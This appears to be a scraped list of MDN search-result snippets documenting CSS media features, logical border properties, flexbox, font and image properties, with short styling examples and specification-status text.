*/ @media (-webkit-device-pixel-ratio: 1) { p { color: red; } } /* minimum resolution */ @media (-webkit-min-device-pixel-ratio: 1.1) { p { font-size: 1.5em; } } /* maximum resolution */ @media (-webkit-max-device-pixel-ratio: 3) { p { background: yellow; } } result specifications specification status comment compatibility standardthe definition of '-webkit-device-pixel-ratio' in that specification.
... living standard initial standardization safari css reference 'media query extensions' in that document.
... non-standard unofficial documentation initial documentation ...
-webkit-transform-3d - CSS: Cascading Style Sheets
examples @media (-webkit-transform-3d) { .foo { transform-style: preserve-3d; } } @media (-webkit-transform-3d: 1) { .foo { transform-style: preserve-3d; } } specifications specification status comment compatibility standardthe definition of '-webkit-transform-3d' in that specification.
... living standard initial standardization safari css reference 'media query extensions' in that document.
... non-standard unofficial documentation initial documentation ...
aspect-ratio - CSS: Cascading Style Sheets
display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcontent="height:"+h.value } result specifications specification status comment media queries level 4the definition of 'aspect-ratio' in that specification.
... media queriesthe definition of 'aspect-ratio' in that specification.
... recommendation initial definition.
color-index - CSS: Cascading Style Sheets
<link rel="stylesheet" href="http://foo.bar.com/base.css" /> <link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/color-stylesheet.css" /> specifications specification status comment media queries level 4the definition of 'color-index' in that specification.
... media queriesthe definition of 'color-index' in that specification.
... recommendation initial definition.
color - CSS: Cascading Style Sheets
WebCSS@mediacolor
of colors, and greenish on devices with a high number of colors.</p> css p { color: black; } /* any color device */ @media (color) { p { color: red; } } /* any color device with at least 8 bits per color component */ @media (min-color: 8) { p { color: #24ba13; } } result specifications specification status comment media queries level 4the definition of 'color' in that specification.
... media queriesthe definition of 'color' in that specification.
... recommendation initial definition.
device-aspect-ratio - CSS: Cascading Style Sheets
examples article { padding: 1rem; } @media screen and (min-device-aspect-ratio: 16/9) { article { padding: 1rem 5vw; } } specifications specification status comment media queries level 4the definition of 'device-aspect-ratio' in that specification.
... media queriesthe definition of 'device-aspect-ratio' in that specification.
... recommendation initial definition.
device-height - CSS: Cascading Style Sheets
<link rel="stylesheet" media="screen and (max-device-height: 799px)" href="http://foo.bar.com/short-styles.css" /> specifications specification status comment media queries level 4the definition of 'device-height' in that specification.
... media queriesthe definition of 'device-height' in that specification.
... recommendation initial definition.
device-width - CSS: Cascading Style Sheets
<link rel="stylesheet" media="screen and (max-device-width: 799px)" href="http://foo.bar.com/narrow-styles.css" /> specifications specification status comment media queries level 4the definition of 'device-width' in that specification.
... media queriesthe definition of 'device-width' in that specification.
... recommendation initial definition.
grid - CSS: Cascading Style Sheets
WebCSS@mediagrid
not(.unknown) { color: lightgray; } @media (grid: 0) { .unknown { color: lightgray; } .bitmap { color: red; text-transform: uppercase; } } @media (grid: 1) { .unknown { color: lightgray; } .grid { color: black; text-transform: uppercase; } } result specifications specification status comment media queries level 4the definition of 'grid' in that specification.
... media queriesthe definition of 'grid' in that specification.
... recommendation initial definition.
height - CSS: Cascading Style Sheets
WebCSS@mediaheight
viewport's height.</div> css /* exact height */ @media (height: 360px) { div { color: red; } } /* minimum height */ @media (min-height: 25rem) { div { background: yellow; } } /* maximum height */ @media (max-height: 40rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'height' in that specification.
... media queriesthe definition of 'height' in that specification.
... recommendation initial definition.
monochrome - CSS: Cascading Style Sheets
WebCSS@mediamonochrome
sn't support monochrome pixels.</p> css p { display: none; } /* any monochrome device */ @media (monochrome) { p.mono { display: block; color: #333; } } /* any non-monochrome device */ @media (monochrome: 0) { p.no-mono { display: block; color: #ee3636; } } result specifications specification status comment media queries level 4the definition of 'monochrome' in that specification.
... media queriesthe definition of 'monochrome' in that specification.
... recommendation initial definition.
orientation - CSS: Cascading Style Sheets
examples html <div>box 1</div> <div>box 2</div> <div>box 3</div> css body { display: flex; } div { background: yellow; } @media (orientation: landscape) { body { flex-direction: row; } } @media (orientation: portrait) { body { flex-direction: column; } } result specifications specification status comment media queries level 4the definition of 'orientation' in that specification.
... media queriesthe definition of 'orientation' in that specification.
... recommendation initial definition.
overflow-block - CSS: Cascading Style Sheets
the overflow-block css media feature can be used to test how the output device handles content that overflows the initial containing block along the block axis.
...sed nec augue congue eros accumsan tincidunt sed eget ex.</p> css @media (overflow-block: scroll) { p { color: red; } } result specifications specification status comment media queries level 4the definition of 'overflow-block' in that specification.
... candidate recommendation initial definition.
overflow-inline - CSS: Cascading Style Sheets
the overflow-inline css media feature can be used to test how the output device handles content that overflows the initial containing block along the inline axis.
...sed nec augue congue eros accumsan tincidunt sed eget ex.</p> css p { white-space: nowrap; } @media (overflow-inline: scroll) { p { color: red; } } result specifications specification status comment media queries level 4the definition of 'overflow-inline' in that specification.
... candidate recommendation initial definition.
prefers-reduced-motion - CSS: Cascading Style Sheets
html <div class="animation">animated box</div> css .animation { animation: pulse 1s linear infinite both; } /* tone down the animation to avoid vestibular motion triggers like scaling or panning large objects.
...n: center; } @keyframes pulse { 0% { transform: scale(1); } 25% { transform: scale(.9); } 50% { transform: scale(1); } 75% { transform: scale(1.1); } 100% { transform: scale(1); } } @keyframes dissolve { 0% { opacity: 1; } 50% { opacity: 0.8; } 100% { opacity: 1; } } result specifications specification status comment media queries level 5the definition of 'prefers-reduced-motion' in that specification.
... editor's draft initial definition.
scan - CSS: Cascading Style Sheets
WebCSS@mediascan
if your screen uses progressive scanning, you should see a serif font.</p> css p { font-family: cursive; } @media (scan: interlace) { p { font-family: sans-serif; } } @media (scan: progressive) { p { font-family: serif; } } result specifications specification status comment media queries level 4the definition of 'scan' in that specification.
... media queriesthe definition of 'scan' in that specification.
... recommendation initial definition.
width - CSS: Cascading Style Sheets
WebCSS@mediawidth
e your viewport's width.</div> css /* exact width */ @media (width: 360px) { div { color: red; } } /* minimum width */ @media (min-width: 35rem) { div { background: yellow; } } /* maximum width */ @media (max-width: 50rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'width' in that specification.
... media queriesthe definition of 'width' in that specification.
... recommendation initial definition.
size - CSS: Cascading Style Sheets
WebCSS@pagesize
formal definition related at-rule@pageinitial valueautocomputed valueas specified, but with relative lengths converted into absolute lengths formal syntax <length>{1,2} | auto | [ <page-size> | [ portrait | landscape ] ] examples specifying size and orientation @page { size: 4in 6in landscape; } nesting inside a @media rule @media print { @page { size: 50mm 150mm; } } specifications ...
... specification status comment css paged media module level 3the definition of 'size' in that specification.
... working draft initial definition ...
@supports - CSS: Cascading Style Sheets
WebCSS@supports
pplied in browsers which don't support the `of` argument of :nth-child(…) is supported */ :is(:nth-child(1n of ul, ol) a, details > summary) { … /* css applied when the :is(…) selector and the `of` argument of :nth-child(…) are both supported */ } } specifications specification status comment css conditional rules module level 4the definition of '@supports' in that specification.
... css conditional rules module level 3the definition of '@supports' in that specification.
... candidate recommendation initial definition.
viewport-fit - CSS: Cascading Style Sheets
syntax /* keyword values */ viewport-fit: auto; viewport-fit: contain; viewport-fit: cover; values auto this value doesn’t affect the initial layout viewport, and the whole web page is viewable.
... formal definition related at-rule@viewportinitial valueautocomputed valueas specified formal syntax auto | contain | cover examples scaling viewport to fit device display @viewport { viewport-fit: cover; } specifications specification status comment css round display level 1the definition of '"viewport-fit" descriptor' in that specification.
... working draft initial definition.
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
the reason the items become the same height is that the initial value of align-items, the property that controls alignment on the cross axis, is set to stretch.
... in our initial example with display: flex on the container, the items display as a row and all line up at the start of the container.
... this is due to the initial value of justify-content being flex-start.
CSS Flexible Box Layout - CSS: Cascading Style Sheets
reference css properties flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap order alignment properties the properties align-content, align-self, align-items and justify-content initially appeared in the flexbox specification, but are now defined in box alignment.
... the flexbox spec now refers to the box alignment specification for up to date definitions.
... backwards compatibility of flexbox browser status of flexbox, interoperability issues and supporting older browsers and versions of the spec specifications specification status comment css flexible box layout module candidate recommendation initial definition.
CSS Overflow - CSS: Cascading Style Sheets
reference css properties overflow overflow-block overflow-inline overflow-x overflow-y text-overflow block-overflow line-clamp max-lines continue non-standard properties -webkit-line-clamp specifications specification status comment css overflow module level 3the definition of 'overflow' in that specification.
... working draft changed syntax to allow one or two keywords instead of only one css level 2 (revision 1)the definition of 'overflow' in that specification.
... recommendation initial definition.
General sibling combinator - CSS: Cascading Style Sheets
mer_element ~ target_element { style properties } examples css p ~ span { color: red; } html <span>this is not red.</span> <p>here is a paragraph.</p> <code>here is some code.</code> <span>and here is a red span!</span> <code>more code...</code> <span>and this is a red span!</span> result specifications specification status comment selectors level 4the definition of 'subsequent-sibling combinator' in that specification.
... selectors level 3the definition of 'general sibling combinator' in that specification.
... recommendation initial definition.
Selector list - CSS: Cascading Style Sheets
h1 { font-family: sans-serif } h2:maybe-unsupported { font-family: sans-serif } h3 { font-family: sans-serif } :is(h1, h2:maybe-unsupported, h3) { font-family: sans-serif } specifications specification status comment selectors level 4the definition of 'selector lists' in that specification.
... working draft renamed to "selector list" css level 1the definition of 'grouping' in that specification.
... recommendation initial definition ...
Actual value - CSS: Cascading Style Sheets
calculating a property's actual value the user agent performs four steps to calculate a property's actual (final) value: first, the specified value is determined based on the result of cascading, inheritance, or using the initial value.
... specifications specification status comment css level 2 (revision 1)the definition of 'actual value' in that specification.
... recommendation initial definition.
<angle> - CSS: Cascading Style Sheets
WebCSSangle
n ≈ 1.5708rad setting a flat angle 180deg = 200grad = 0.5turn ≈ 3.1416rad setting a counterclockwise right angle -90deg = -100grad = -0.25turn ≈ -1.5708rad setting a null angle 0 = 0deg = 0grad = 0turn = 0rad specifications specification status comment css values and units module level 4the definition of '<angle>' in that specification.
... editor's draft css values and units module level 3the definition of '<angle>' in that specification.
... candidate recommendation initial definition.
animation-delay - CSS: Cascading Style Sheets
formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples see css animations for examples.
... specifications specification status comment css animationsthe definition of 'animation-delay' in that specification.
... working draft initial definition.
animation-duration - CSS: Cascading Style Sheets
formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples see css animations for examples.
... specifications specification status comment css animationsthe definition of 'animation-duration' in that specification.
... working draft initial definition.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | auto | button | textfield | menulist-button | <compat-auto>where <compat-auto> = searchfield | textarea | push-button | slider-horizontal | checkbox | radio | square-button | menulist | listbox | meter | progress-bar examples the following would make an element look like...
... specifications specification status comment css basic user interface module level 4the definition of 'appearance' in that specification.
... working draft initial definition.
attr() - CSS: Cascading Style Sheets
WebCSSattr
ckground="lime">background expected to be red if your browser does not support advanced usage of attr()</div> css .background { height: 100vh; } .background { background-color: red; } .background[data-background] { background-color: attr(data-background color, red); } specifications specification status comment css values and units module level 4the definition of 'attr()' in that specification.
... css values and units module level 3the definition of 'attr()' in that specification.
... css level 2 (revision 1)the definition of 'attr()' in that specification.
border-block-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blu...
...e; border-block-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-color' in that specification.
... editor's draft initial definition ...
border-block-end-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blu...
...e; border-block-end-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-color' in that specification.
... editor's draft initial definition ...
border-block-end-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; bord...
...er-block-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-style' in that specification.
... editor's draft initial definition ...
border-block-end-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with veritcal text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; heigh...
...t: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-width' in that specification.
... editor's draft initial definition ...
border-block-end - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typeas each of the pr...
...<angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-end: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end' in that specification.
... editor's draft initial definition ...
border-block-start-color - CSS: Cascading Style Sheets
values <'color'> see border-color formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blu...
...e; border-block-start-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-color' in that specification.
... editor's draft initial definition ...
border-block-start-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border wtih vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; bord...
...er-block-start-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-style' in that specification.
... editor's draft initial definition ...
border-block-start-width - CSS: Cascading Style Sheets
initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length values <'border-width'> the width of the border.
... formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-start-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-width' in that specification.
... editor's draft initial definition ...
border-block-start - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browse...
...ber> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-block-start' in that specification.
... editor's draft initial definition ...
border-block-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; bord...
...er-block-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-style' in that specification.
... editor's draft initial definition ...
border-block-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; heigh...
...t: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-width' in that specification.
... editor's draft initial definition ...
border-block - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typediscrete formal ...
...> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block' in that specification.
... editor's draft initial definition ...
border-image - CSS: Cascading Style Sheets
mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:border-image-source: noneborder-image-slice: 100%border-image-width: 1border-image-outset: 0border-image-repeat: stretchapplies toall elements, except internal table elements when border-collapse is collapse.
... result gradient html <div id="gradient">this element is surrounded by a gradient-based border image!</div> css #gradient { width: 200px; border: 30px solid; border-image: repeating-linear-gradient(45deg, #f33, #3bf, #f33 30px) 60; padding: 20px; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image' in that specification.
... candidate recommendation initial definition initial valueas each of the properties of the shorthand:border-image-source: noneborder-image-slice: 100%border-image-width: 1border-image-outset: 0border-image-repeat: stretchapplies toall elements, except internal table elements when border-collapse is collapse.
border-inline-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px sol...
...id blue; border-inline-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-color' in that specification.
... editor's draft initial definition ...
border-inline-end-color - CSS: Cascading Style Sheets
initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color values <'color'> the color of the border.
... formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-end-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-color' in that specification.
... editor's draft initial definition ...
border-inline-end-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-end-style: dashed; } re...
...sults specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-style' in that specification.
... editor's draft initial definition ...
border-inline-end-width - CSS: Cascading Style Sheets
initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length values <'border-width'> the width of the border.
... formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples applying a border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-width' in that specification.
... editor's draft initial definition ...
border-inline-start-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-start-color: r...
...ed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-color' in that specification.
... editor's draft initial definition ...
border-inline-start-style - CSS: Cascading Style Sheets
initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete values <'border-style'> the line style of the border.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-start-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-style' in that specification.
... editor's draft initial definition ...
border-inline-start-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { wri...
...ting-mode: vertical-lr; border: 1px solid blue; border-inline-start-width: 5px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-width' in that specification.
... editor's draft initial definition ...
border-inline-start - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browse...
...| <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start' in that specification.
... editor's draft initial definition ...
border-inline-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html content <div> <p class="exampletext">example text</p> </div> css content div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-style: d...
...ashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-style' in that specification.
... editor's draft initial definition ...
border-inline-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { wri...
...ting-mode: vertical-lr; border: 1px solid blue; border-inline-width: 5px 10px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-width' in that specification.
... editor's draft initial definition ...
box-flex-group - CSS: Cascading Style Sheets
/* <integer> values */ box-flex-group: 1; box-flex-group: 5; /* global values */ box-flex-group: inherit; box-flex-group: initial; box-flex-group: unset; for flexible elements assigned to flex groups, the first flex group is 1 and higher values specify subsequent flex groups.
... the initial value is 1.
... formal definition initial value1applies toin-flow children of box elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <integer> examples simple usage example in the original flexbox spec, box-flex-group could be used to assign flex children to different groups to distribute flexible space between: article:nth-child(1) { -webkit-box-flex-group: 1; } article:nth-child(2) { ...
caret-color - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elementsinheritedyescomputed valueauto is computed as specified and <color> values are computed as defined for the color property.animation typea color formal syntax auto | <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value>...
..."/> <p contenteditable class="custom">this paragraph can be edited, and its caret has a custom color as well!</p> css input { caret-color: auto; display: block; margin-bottom: .5em; } input.custom { caret-color: red; } p.custom { caret-color: green; } result specifications specification status comment css basic user interface module level 3the definition of 'caret-color' in that specification.
... recommendation initial definition.
color-adjust - CSS: Cascading Style Sheets
formal definition initial valueeconomyapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax economy | exact examples preserving low contrast in this example, a box is shown which uses a background-image and a translucent linear-gradient() function atop a black background color to have a dark blue gradient behind medium red text.
...0, 0.5)); color: #900; width: 15rem; height: 6rem; text-align: center; font: 24px "helvetica", sans-serif; display: flex; align-items: center; justify-content: center; color-adjust: exact; } html <div class="my-box"> <p>need more contrast!</p> </div> result specifications specification status comment css color adjustment module level 1the definition of 'color-adjust' in that specification.
... editor's draft initial definition.
flex-wrap - CSS: Cascading Style Sheets
WebCSSflex-wrap
syntax flex-wrap: nowrap; /* default value */ flex-wrap: wrap; flex-wrap: wrap-reverse; /* global values */ flex-wrap: inherit; flex-wrap: initial; flex-wrap: unset; the flex-wrap property is specified as a single keyword chosen from the list of values below.
... formal definition initial valuenowrapapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax nowrap | wrap | wrap-reverse examples setting flex container wrap values html <h4>this is an example for flex-wrap:wrap </h4> <div class="content"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex...
...d; } .green { background: yellowgreen; } .blue { background: steelblue; } /* flexbox styles */ .content { display: flex; flex-wrap: wrap; } .content1 { display: flex; flex-wrap: nowrap; } .content2 { display: flex; flex-wrap: wrap-reverse; } results specifications specification status comment css flexible box layout modulethe definition of 'flex-wrap' in that specification.
font-kerning - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elements.
...#nokern { font-kerning: none; } #kern { font-kerning: normal; } javascript let input = document.getelementbyid('input'); let kern = document.getelementbyid('kern'); let nokern = document.getelementbyid('nokern'); input.addeventlistener('keyup', function() { kern.textcontent = input.value; /* update content */ nokern.textcontent = input.value; }); kern.textcontent = input.value; /* initialize content */ nokern.textcontent = input.value; specifications specification status comment css fonts module level 3the definition of 'font-kerning' in that specification.
... candidate recommendation initial definition.
font-optical-sizing - CSS: Cascading Style Sheets
syntax /* keyword values */ font-optical-sizing: none; font-optical-sizing: auto; /* default */ /* global values */ font-optical-sizing: inherit; font-optical-sizing: initial; font-optical-sizing: unset; values none the browser will not modify the shape of glyphs for optimal viewing.
... formal definition initial valueautoapplies toall elements.
... specifications specification status comment css fonts module level 4the definition of 'font-optical-sizing' in that specification.
font-synthesis - CSS: Cascading Style Sheets
formal definition initial valueweight styleapplies toall elements.
...站直。</em> css em { font-weight: bold; } .syn { font-synthesis: style weight; } .no-syn { font-synthesis: none; } result specifications specification status comment css fonts module level 3the definition of 'font-synthesis' in that specification.
... candidate recommendation initial definition ...
<frequency> - CSS: Cascading Style Sheets
WebCSSfrequency
specifications specification status comment css values and units module level 3the definition of '<frequency>' in that specification.
... candidate recommendation initial definition.
... note: this data type was initially introduced in css level 2 for the now-obsolete aural media type, where it was used to define the pitch of the voice.
<gradient> - CSS: Cascading Style Sheets
WebCSSgradient
<div class="conic-gradient">conic gradient</div> div { width: 200px; height: 200px; } .conic-gradient { background: conic-gradient(lightpink, white, powderblue); } specifications specification status comment css images module level 4the definition of '<gradient>' in that specification.
... working draft adds conic-gradient css images module level 3the definition of '<gradient>' in that specification.
... candidate recommendation initial definition.
grid-column - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:grid-column-start: autogrid-column-end: autoapplies togrid items and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas each of the properties of the shorthand:grid-column-start: as specifiedgrid-column-end: as specifiedanimation typediscrete formal syntax <grid-line> [ / <grid-line> ]?whe...
... </div> css #grid { display: grid; height: 100px; grid-template-columns: repeat(6, 1fr); grid-template-rows: 100px; } #item1 { background-color: lime; } #item2 { background-color: yellow; grid-column: 2 / 4; } #item3 { background-color: blue; grid-column: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-column' in that specification.
... candidate recommendation initial definition ...
<image> - CSS: Cascading Style Sheets
WebCSSimage
*/ image(z.jpg#xy=0,0) /* the spatial fragment must be written in the format of xywh=#,#,#,# */ image-set('cat.jpg' 1x, 'dog.jpg' 1x) /* every image in an image set must have a different resolutions */ specifications specification status comment css images module level 4the definition of '<image>' in that specification.
... css images module level 3the definition of '<image>' in that specification.
... candidate recommendation initial definition.
image() - CSS: Cascading Style Sheets
the spacial dimension definition in the media specification indicates that percentages will be supported as well: xywh=160,120,320,240 /* results in a 320x240 image at x=160 and y=120 */ xywh=pixel:160,120,320,240 /* results in a 320x240 image at x=160 and y=120 */ xywh=percent:25,25,50,50 /* results in a 50%x50% image at x=25% and y=25% */ the image fragments can be used in url() notation as well.
... specifications specification status comment css images module level 4the definition of 'image()' in that specification.
... working draft initial definition ...
inline-size - CSS: Cascading Style Sheets
